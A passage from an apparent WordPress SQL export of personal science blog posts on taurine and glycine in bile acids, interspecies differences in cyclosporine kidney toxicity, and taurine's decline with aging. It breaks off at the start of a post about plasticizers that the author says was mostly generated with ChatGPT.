not a risk-free drug. One of the biggest risks from cyclosporine use is nephrotoxicity (kidney damage), both acute nephrotoxicity, from cyclosporine overdoses, and chronic nephrotoxicity, from the accumulation of cyclosporine over time. If you look up why cyclosporine causes nephrotoxicity on ChatGPT, like I just did, it tells you that it’s because of blood restriction and oxidative damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a fine explanation. It doesn’t, however, explain the interspecies differences in cyclosporine nephrotoxicity. Humans and pigs can get both acute and chronic nephrotoxicity from cyclosporine use. Dogs and rats can get acute nephrotoxicity, but not chronic, except under a low sodium diet. Cats can’t get either, as far as I can tell.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Low sodium there is some sort of clue, as extremely low sodium diets activate the renin-angiotensin system, as the kidneys strain to retain as much sodium as possible from fluids to make up for the lack of it from food. And cats are another clue, given their hyper efficient kidneys adapted to their ancestral desert lifestyle. Still, we don’t get much idea, mechanistically, of why humans and pigs have such a harder time with cyclosporine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>***</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I spent a solid month or two trying to make sense of these interspecies differences. My plan was to tie them together through the taurine/glycine difference. Taurine and glycine are both nonessential amino acids for humans, meaning that they are not essential to be supplemented, not that they are nonessential for life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, they are essential for life, in the gallbladder, the kidneys, and elsewhere. In the gallbladder, taurine and/or glycine, depending on the species, are used to make bile acids more soluble. Taurine is better than glycine for this purpose, because it’s more soluble at a greater range of pHs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the kidneys, taurine and glycine prevent oxidative damage, keep osmoregularity, help detoxification, and participate in biochemical pathways. Taurine supplementation can prevent against cyclosporine-induced nephrotoxocity in rodent studies. Elsewhere, taurine and glycine play subtler but still important roles, which we mostly only know about from cases of deficiency. Cats with taurine-deficient diets, for instance, eventually go blind and develop cardiomyopathy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are seemingly random differences in how different species both acquire and use taurine and glycine, at least in their bile acids. Humans produce both endogenously, and use both for bile acids, with about a 70/30 glycine/taurine mix. Dogs produce both endogenously, although they benefit from taurine supplementation, and have roughly the reverse mix, 80/20 taurine/glycine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!WfK7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2760cfbb-7db1-46c3-928e-292c78afb73e_1264x1279.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!WfK7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2760cfbb-7db1-46c3-928e-292c78afb73e_1264x1279.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Cats only produce glycine endogenously, and need taurine supplementation. They use only taurine in their bile acids. Rats and mice produce both endogenously, although they benefit from glycine supplementation. They only use glycine in their bile acids. Finally, pigs produce both endogenously, although they benefit from glycine supplementation. They have the same mix as humans, about 70/30 glycine/taurine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can see how there’s some glimmer of sense there. These are clear interspecies differences in taurine and glycine, and they tie together the gallbladder and kidneys. If I had found that taurine-dominant species had less nephrotoxicity with regards to cyclosporine, more need of a gallbladder, and more need of taurine supplementation, this would be a great hypothesis to explain the mysteries above. It’d also help explain why taurine supplementation seems to help with life extension (more on that in another post).<br><br>Unfortunately, that’s not what I found. The nephrotoxicity hypothesis falls apart with rats, given that rats don’t use taurine at all and still don’t have a huge problem with nephrotoxicity. The gallbladder hypothesis falls apart with mice having gallbladders and rats lacking them, given they both use glycine exclusively. And the supplementation hypothesis falls apart with pigs needing glycine supplementation and humans seemingly not needing it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My hope is that the data is wrong somewhere, given that I like my hypothesis. As my dad puts it, it’s always a tragedy when a beautiful theory is destroyed by a gang of vicious facts. And it doesn’t seem impossible for this data to be wrong, given that this is a relative backwater of science. But I don’t have much hope.<br><br>For now, the gallbladders and kidneys will have to remain mysteries.</p>\n<!-- /wp:paragraph -->','Do taurine and glycine provide answers to the mammalian gallbladder and kidney mysteries?','','publish','closed','closed','','do-taurine-and-glycine-provide-answers-to-the-mammalian-gallbladder-and-kidney-mysteries','','','2025-07-03 19:43:01','2025-07-03 19:43:01','',0,'https://trevorklee.com/?page_id=524',0,'page','',0),
(525,1,'2025-07-03 19:43:01','2025-07-03 19:43:01','<!-- wp:paragraph -->\n<p>The gallbladder is an oft-overlooked organ. It’s not nearly so vital as the heart, the lungs, or the brain. It can be removed without any serious health consequences if it malfunctions. Gallstones are the only common disease that affects it, and gallstones, although painful, are rarely serious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you learn anything about the gallbladder, you probably learn the one fact that the gallbladder “stores and concentrates bile”. It doesn’t produce it (that’s the liver’s job), but it helps keep bile until it’s needed. If you learn a second thing, it’s that bile helps digest fats. This is why people who have their gallbladders removed have a bad time when they eat fatty foods.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this presents a plausible reason why humans still have gallbladders, even if they’re not super necessary. They\'re nice to have, even if you don’t need to have them. But I’m not satisfied with a purely human-centric viewpoint. I want to expand your view to the rest of the animal kingdom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br>After all, it’s not just humans with gallbladders. Lots of animals have gallbladders: dogs, cats, chickens, mice. And all of them have gallbladders for more or less the same reason that people do: to store and concentrate bile, which is used to digest fats. This is not so strange. What is strange is which animals don’t have gallbladders: horses, deer, alpacas, pigeons, some parrots, lampreys, and rats.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, maybe there’s a story you can tell about the animals that don’t have gallbladders in which they don’t eat fatty foods, so having a gallbladder is superfluous. That probably fits with horses, deer, and pigeons, although it’s frankly difficult to say that chickens or turkeys definitely eat more fatty food than pigeons. But, that story doesn’t make sense with rats.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rats, like humans and mice, eat everything, including fatty foods. So why don’t they need gallbladders?<br><br>***</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cyclosporine is a fascinating drug that I’ve written about a lot (and done studies on). It’s an effective immunosuppressant and it preserves mitochondrial health in times of stress. This makes it a good choice for, among other things, preventing long term damage from traumatic brain injuries.<br><br>However, as I’ve written about before, it’s not a risk-free drug. One of the biggest risks from cyclosporine use is nephrotoxicity (kidney damage), both acute nephrotoxicity, from cyclosporine overdoses, and chronic nephrotoxicity, from the accumulation of cyclosporine over time. If you look up why cyclosporine causes nephrotoxicity on ChatGPT, like I just did, it tells you that it’s because of blood restriction and oxidative damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a fine explanation. It doesn’t, however, explain the interspecies differences in cyclosporine nephrotoxicity. Humans and pigs can get both acute and chronic nephrotoxicity from cyclosporine use. Dogs and rats can get acute nephrotoxicity, but not chronic, except under a low sodium diet. Cats can’t get either, as far as I can tell.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Low sodium there is some sort of clue, as extremely low sodium diets activate the renin-angiotensin system, as the kidneys strain to retain as much sodium as possible from fluids to make up for the lack of it from food. And cats are another clue, given their hyper efficient kidneys adapted to their ancestral desert lifestyle. Still, we don’t get much idea, mechanistically, of why humans and pigs have such a harder time with cyclosporine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>***</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I spent a solid month or two trying to make sense of these interspecies differences. My plan was to tie them together through the taurine/glycine difference. Taurine and glycine are both nonessential amino acids for humans, meaning that they are not essential to be supplemented, not that they are nonessential for life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, they are essential for life, in the gallbladder, the kidneys, and elsewhere. In the gallbladder, taurine and/or glycine, depending on the species, are used to make bile acids more soluble. Taurine is better than glycine for this purpose, because it’s more soluble at a greater range of pHs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the kidneys, taurine and glycine prevent oxidative damage, keep osmoregularity, help detoxification, and participate in biochemical pathways. Taurine supplementation can prevent against cyclosporine-induced nephrotoxocity in rodent studies. Elsewhere, taurine and glycine play subtler but still important roles, which we mostly only know about from cases of deficiency. Cats with taurine-deficient diets, for instance, eventually go blind and develop cardiomyopathy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are seemingly random differences in how different species both acquire and use taurine and glycine, at least in their bile acids. Humans produce both endogenously, and use both for bile acids, with about a 70/30 glycine/taurine mix. Dogs produce both endogenously, although they benefit from taurine supplementation, and have roughly the reverse mix, 80/20 taurine/glycine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!WfK7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2760cfbb-7db1-46c3-928e-292c78afb73e_1264x1279.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!WfK7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2760cfbb-7db1-46c3-928e-292c78afb73e_1264x1279.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Cats only produce glycine endogenously, and need taurine supplementation. They use only taurine in their bile acids. Rats and mice produce both endogenously, although they benefit from glycine supplementation. They only use glycine in their bile acids. Finally, pigs produce both endogenously, although they benefit from glycine supplementation. They have the same mix as humans, about 70/30 glycine/taurine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can see how there’s some glimmer of sense there. These are clear interspecies differences in taurine and glycine, and they tie together the gallbladder and kidneys. If I had found that taurine-dominant species had less nephrotoxicity with regards to cyclosporine, more need of a gallbladder, and more need of taurine supplementation, this would be a great hypothesis to explain the mysteries above. It’d also help explain why taurine supplementation seems to help with life extension (more on that in another post).<br><br>Unfortunately, that’s not what I found. The nephrotoxicity hypothesis falls apart with rats, given that rats don’t use taurine at all and still don’t have a huge problem with nephrotoxicity. The gallbladder hypothesis falls apart with mice having gallbladders and rats lacking them, given they both use glycine exclusively. And the supplementation hypothesis falls apart with pigs needing glycine supplementation and humans seemingly not needing it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My hope is that the data is wrong somewhere, given that I like my hypothesis. As my dad puts it, it’s always a tragedy when a beautiful theory is destroyed by a gang of vicious facts. And it doesn’t seem impossible for this data to be wrong, given that this is a relative backwater of science. But I don’t have much hope.<br><br>For now, the gallbladders and kidneys will have to remain mysteries.</p>\n<!-- /wp:paragraph -->','Do taurine and glycine provide answers to the mammalian gallbladder and kidney mysteries?','','inherit','closed','closed','','524-revision-v1','','','2025-07-03 19:43:01','2025-07-03 19:43:01','',524,'https://trevorklee.com/?p=525',0,'revision','',0),
(526,1,'2025-07-03 19:43:53','2025-07-03 19:43:53','<!-- wp:paragraph -->\n<p>You gain certain things as you age: ear hair, back aches, wisdom (maybe). You lose even more: head hair, muscle mass, fluid intelligence. This is known, as the Dothraki might say.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What’s not generally known is that you also lose taurine in your blood serum&nbsp;<a href=\"https://trevorklee.substack.com/p/what-if-the-declines-of-aging-are#footnote-1-160964474\">1</a>&nbsp;as you age. You will, on average,&nbsp;<a href=\"https://www.science.org/doi/10.1126/science.abn9257\">lose about 80% of your circulating serum taurine from age 0 to 60</a>. You share this loss of serum taurine with age with mice and monkeys.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This loss is probably not alarming to you, compared to say, your loss of hair or memory. If you know what taurine is, you likely know of it as a nonessential amino acid. You may also recognize it as one of the random, mysterious non-caffeine ingredients of Red Bull, and, if you were a teenage boy around the early 2000s like myself, may remember it as the source of the rumor that Red Bull is bull urine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!ftlg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24499d87-a433-4ee0-8857-016c6eca917e_3000x3000.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!ftlg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24499d87-a433-4ee0-8857-016c6eca917e_3000x3000.jpeg\" alt=\"Red Bull Energy Drink, 8.4 fl oz, Pack of 24 Cans\" title=\"Red Bull Energy Drink, 8.4 fl oz, Pack of 24 Cans\"/></a><figcaption class=\"wp-element-caption\">Note: the taurine amount in Red Bull is way lower than the taurine amount used in longevity studies. It’s unclear if the taurine amount in Red Bull has any health effects. Also, supposedly, Red Bull just put taurine in their drink because the word “taurine” comes from “taurus”, meaning bull, and any actual health benefits are accdiental.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I think you should be more concerned about this loss, though. Taurine is nonessential as an amino acid in terms of not essential for humans to supplement, because we produce it endogenously. But it’s not nonessential in terms of humans not needing it. After all, there’s a reason we produce it endogenously. In animals that don’t produce it endogenously, like cats, taurine deficiency eventually leads to&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/38395518/\">blindness and cardiomyopathy</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nothing quite so dramatic as blindness can be conclusively linked to the decline in circulating taurine in mice or monkeys as they age. But, there are clues there are serious consequences to that decline, too. The same 2023 study in Science that showed the loss in taurine in aging animals also showed a significant increase in lifespan for taurine supplemented worms, zebrafish, and mice, and in the bone, glucose, liver, and immune systems of middle-aged monkeys.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This joined a host of smaller recent studies showing beneficial effects of taurine supplementation in humans, such as:<br><br>1.&nbsp;<a href=\"https://jnnp.bmj.com/content/90/5/529\">Taurine supplementation for prevention of stroke-like episodes</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2.&nbsp;<a href=\"https://www.nature.com/articles/s41387-024-00289-z\">Taurine supplementation for reducing the risk for metabolic syndrome</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3.&nbsp;<a href=\"https://pmc.ncbi.nlm.nih.gov/articles/PMC9308194/\">Taurine supplementation for improving insulin response in patients with diabetes mellitus</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What I find particularly interesting about this is that this isn’t a drug in the normal sense. It’s not even really a traditional supplement, like iron or vitamin D, which we’d normally get from our diet. It’s a partial restoration of our endogenous taurine to the levels of our youth.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think this is an important distinction. Taurine, unlike most drugs or supplements, is basically impossible to overdose on for any species. Our body can support a wide range of levels of circulating taurine for an extended period of time, as the decline with aging shows. This makes taurine unique compared to what we’d normally consider as an anti-aging treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given all this evidence of the beneficial effects of taurine and its lack of side effects, you might be surprised that it’s taken so long for taurine to be tested in these diseases. After all, we’ve known about taurine since the 1820s, while these studies are all from the 2020s. What’s the cause of the 200 year gap?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are a few factors that I think go into it. First is that even now it’s hard to tell what exactly taurine does. We know it’s widely distributed in the body and essential for life for a very wide range of organisms, but most of what it does is a mystery. The few functions that we are somewhat confident about are its role in ionic balance, especially in the retinal cells (hence why the deficiency leads to blindness), and its role in increasing the efficacy of bile acids through bile acid conjugation<a href=\"https://trevorklee.substack.com/p/what-if-the-declines-of-aging-are#footnote-2-160964474\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This bile acid conjugation brings us squarely to the second factor, which is that the fact that taurine is best known for bile acid conjugation has placed it squarely in the lineage of traditional Chinese medicine. Traditional Chinese medicine has used bear bile acid for centuries as a treatment for a host of ailments. Bear bile acid is high in TUDCA, which is taurine-conjugated bile acid.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The plus side of this is that this means there’s a lot of literature, both traditional and scientific, on the benefits of taurine in the context of bear bile acid. The negative side is that this literature is heavily motivated by the Chinese government’s aggressive pushing of traditional Chinese medicine for the past 70 years, making it hard to tell which papers are scientifically motivated and which are political. It’s easiest to just assume all these papers are political, leaving them in the ghetto of other politically motivated supplement papers along with the curcumin and ginkgo biloba papers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then the final factor is that taurine is a commonly available, cheap supplement. Nobody has a patent on it or even can patent it, given that it’s a natural substance. This is great for its availability, but bad for the commercial incentives to run expensive trials on it. There are a few nonprofit efforts (e.g. Vijay Yanav, the author of the article in&nbsp;<em>Science</em>, is running a 6 month trial in aged, healthy humans), but not enough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think there needs to be more research done on taurine. It’s a safe, cheap supplement. Any of the numerous, well-funded longevity companies should try verifying it themselves and see if it can have a synergistic effect with the interventions they’re already trying. Lord knows American academia shouldn’t have to shoulder this alone, given its current state.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-if-the-declines-of-aging-are#footnote-anchor-1-160964474\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Blood serum being blood minus blood cells and clotting factors. Basically, it’s everything in your blood except the stuff that makes it “blood”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-if-the-declines-of-aging-are#footnote-anchor-2-160964474\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bile acids help breakup and digest lipids going through your stomach. In order to do so, they need to be well mixed in solution with the food in your intestine. Taurine conjugation, or chemically attaching a taurine to bile acid molecules, makes the bile acids more soluble. Interestingly, a different amino acid, glycine, can also be conjugated with bile acids, although it’s less effective than glycine at keeping bile acids in solution.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even more interestingly, the proportion of glycine vs. taurine bile acid conjugation varies between species, with humans having majority glycine-conjugated bile acids and cats having almost solely taurine-conjugated bile acids. I wrote about this in my last blog post.</p>\n<!-- /wp:paragraph -->','What if the declines of aging are the declines of taurine?','','publish','closed','closed','','what-if-the-declines-of-aging-are-the-declines-of-taurine','','','2025-07-03 19:43:53','2025-07-03 19:43:53','',0,'https://trevorklee.com/?page_id=526',0,'page','',0),
(527,1,'2025-07-03 19:43:53','2025-07-03 19:43:53','<!-- wp:paragraph -->\n<p>You gain certain things as you age: ear hair, back aches, wisdom (maybe). You lose even more: head hair, muscle mass, fluid intelligence. This is known, as the Dothraki might say.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What’s not generally known is that you also lose taurine in your blood serum&nbsp;<a href=\"https://trevorklee.substack.com/p/what-if-the-declines-of-aging-are#footnote-1-160964474\">1</a>&nbsp;as you age. You will, on average,&nbsp;<a href=\"https://www.science.org/doi/10.1126/science.abn9257\">lose about 80% of your circulating serum taurine from age 0 to 60</a>. You share this loss of serum taurine with age with mice and monkeys.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This loss is probably not alarming to you, compared to say, your loss of hair or memory. If you know what taurine is, you likely know of it as a nonessential amino acid. You may also recognize it as one of the random, mysterious non-caffeine ingredients of Red Bull, and, if you were a teenage boy around the early 2000s like myself, may remember it as the source of the rumor that Red Bull is bull urine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!ftlg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24499d87-a433-4ee0-8857-016c6eca917e_3000x3000.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!ftlg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F24499d87-a433-4ee0-8857-016c6eca917e_3000x3000.jpeg\" alt=\"Red Bull Energy Drink, 8.4 fl oz, Pack of 24 Cans\" title=\"Red Bull Energy Drink, 8.4 fl oz, Pack of 24 Cans\"/></a><figcaption class=\"wp-element-caption\">Note: the taurine amount in Red Bull is way lower than the taurine amount used in longevity studies. It’s unclear if the taurine amount in Red Bull has any health effects. Also, supposedly, Red Bull just put taurine in their drink because the word “taurine” comes from “taurus”, meaning bull, and any actual health benefits are accdiental.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I think you should be more concerned about this loss, though. Taurine is nonessential as an amino acid in terms of not essential for humans to supplement, because we produce it endogenously. But it’s not nonessential in terms of humans not needing it. After all, there’s a reason we produce it endogenously. In animals that don’t produce it endogenously, like cats, taurine deficiency eventually leads to&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/38395518/\">blindness and cardiomyopathy</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nothing quite so dramatic as blindness can be conclusively linked to the decline in circulating taurine in mice or monkeys as they age. But, there are clues there are serious consequences to that decline, too. The same 2023 study in Science that showed the loss in taurine in aging animals also showed a significant increase in lifespan for taurine supplemented worms, zebrafish, and mice, and in the bone, glucose, liver, and immune systems of middle-aged monkeys.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This joined a host of smaller recent studies showing beneficial effects of taurine supplementation in humans, such as:<br><br>1.&nbsp;<a href=\"https://jnnp.bmj.com/content/90/5/529\">Taurine supplementation for prevention of stroke-like episodes</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2.&nbsp;<a href=\"https://www.nature.com/articles/s41387-024-00289-z\">Taurine supplementation for reducing the risk for metabolic syndrome</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3.&nbsp;<a href=\"https://pmc.ncbi.nlm.nih.gov/articles/PMC9308194/\">Taurine supplementation for improving insulin response in patients with diabetes mellitus</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What I find particularly interesting about this is that this isn’t a drug in the normal sense. It’s not even really a traditional supplement, like iron or vitamin D, which we’d normally get from our diet. It’s a partial restoration of our endogenous taurine to the levels of our youth.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think this is an important distinction. Taurine, unlike most drugs or supplements, is basically impossible to overdose on for any species. Our body can support a wide range of levels of circulating taurine for an extended period of time, as the decline with aging shows. This makes taurine unique compared to what we’d normally consider as an anti-aging treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given all this evidence of the beneficial effects of taurine and its lack of side effects, you might be surprised that it’s taken so long for taurine to be tested in these diseases. After all, we’ve known about taurine since the 1820s, while these studies are all from the 2020s. What’s the cause of the 200 year gap?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are a few factors that I think go into it. First is that even now it’s hard to tell what exactly taurine does. We know it’s widely distributed in the body and essential for life for a very wide range of organisms, but most of what it does is a mystery. The few functions that we are somewhat confident about are its role in ionic balance, especially in the retinal cells (hence why the deficiency leads to blindness), and its role in increasing the efficacy of bile acids through bile acid conjugation<a href=\"https://trevorklee.substack.com/p/what-if-the-declines-of-aging-are#footnote-2-160964474\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This bile acid conjugation brings us squarely to the second factor, which is that the fact that taurine is best known for bile acid conjugation has placed it squarely in the lineage of traditional Chinese medicine. Traditional Chinese medicine has used bear bile acid for centuries as a treatment for a host of ailments. Bear bile acid is high in TUDCA, which is taurine-conjugated bile acid.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The plus side of this is that this means there’s a lot of literature, both traditional and scientific, on the benefits of taurine in the context of bear bile acid. The negative side is that this literature is heavily motivated by the Chinese government’s aggressive pushing of traditional Chinese medicine for the past 70 years, making it hard to tell which papers are scientifically motivated and which are political. It’s easiest to just assume all these papers are political, leaving them in the ghetto of other politically motivated supplement papers along with the curcumin and ginkgo biloba papers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then the final factor is that taurine is a commonly available, cheap supplement. Nobody has a patent on it or even can patent it, given that it’s a natural substance. This is great for its availability, but bad for the commercial incentives to run expensive trials on it. There are a few nonprofit efforts (e.g. Vijay Yanav, the author of the article in&nbsp;<em>Science</em>, is running a 6 month trial in aged, healthy humans), but not enough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think there needs to be more research done on taurine. It’s a safe, cheap supplement. Any of the numerous, well-funded longevity companies should try verifying it themselves and see if it can have a synergistic effect with the interventions they’re already trying. Lord knows American academia shouldn’t have to shoulder this alone, given its current state.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-if-the-declines-of-aging-are#footnote-anchor-1-160964474\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Blood serum being blood minus blood cells and clotting factors. Basically, it’s everything in your blood except the stuff that makes it “blood”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/what-if-the-declines-of-aging-are#footnote-anchor-2-160964474\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bile acids help breakup and digest lipids going through your stomach. In order to do so, they need to be well mixed in solution with the food in your intestine. Taurine conjugation, or chemically attaching a taurine to bile acid molecules, makes the bile acids more soluble. Interestingly, a different amino acid, glycine, can also be conjugated with bile acids, although it’s less effective than glycine at keeping bile acids in solution.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even more interestingly, the proportion of glycine vs. taurine bile acid conjugation varies between species, with humans having majority glycine-conjugated bile acids and cats having almost solely taurine-conjugated bile acids. I wrote about this in my last blog post.</p>\n<!-- /wp:paragraph -->','What if the declines of aging are the declines of taurine?','','inherit','closed','closed','','526-revision-v1','','','2025-07-03 19:43:53','2025-07-03 19:43:53','',526,'https://trevorklee.com/?p=527',0,'revision','',0),
(528,1,'2025-07-03 19:45:02','2025-07-03 19:45:02','<!-- wp:paragraph -->\n<p><em>Someone asked me what high quality evidence I had that plasticizers were bad (i.e. why I’m developing my&nbsp;<a href=\"https://neutraoat.com/\">NeutraOat</a>&nbsp;supplement to combat them). So, I asked ChatGPT’s Deep Research to generate a list summarizing the health effects of all the plasticizers in PlasticList, along with evidence and confidence levels. I added examples from PlasticList of where high levels of the plasticizers were found.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Usually, I’d shy away from an AI-generated post, but I don’t think I could do that much better of a job than ChatGPT. I think the post turned out well, even though it’s mostly AI generated. Let me know what you think and if you find this informative or just annoying.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://docs.google.com/document/d/1e_j0MwK1AsI2b_-cXSXxn8BokUIelEkBeGadCwoFXHs/edit?usp=sharing\">Link to table in Google Docs</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!FNEc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45d238a3-c38d-4901-bcbe-3909c0de32fa_646x1366.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!FNEc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45d238a3-c38d-4901-bcbe-3909c0de32fa_646x1366.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" 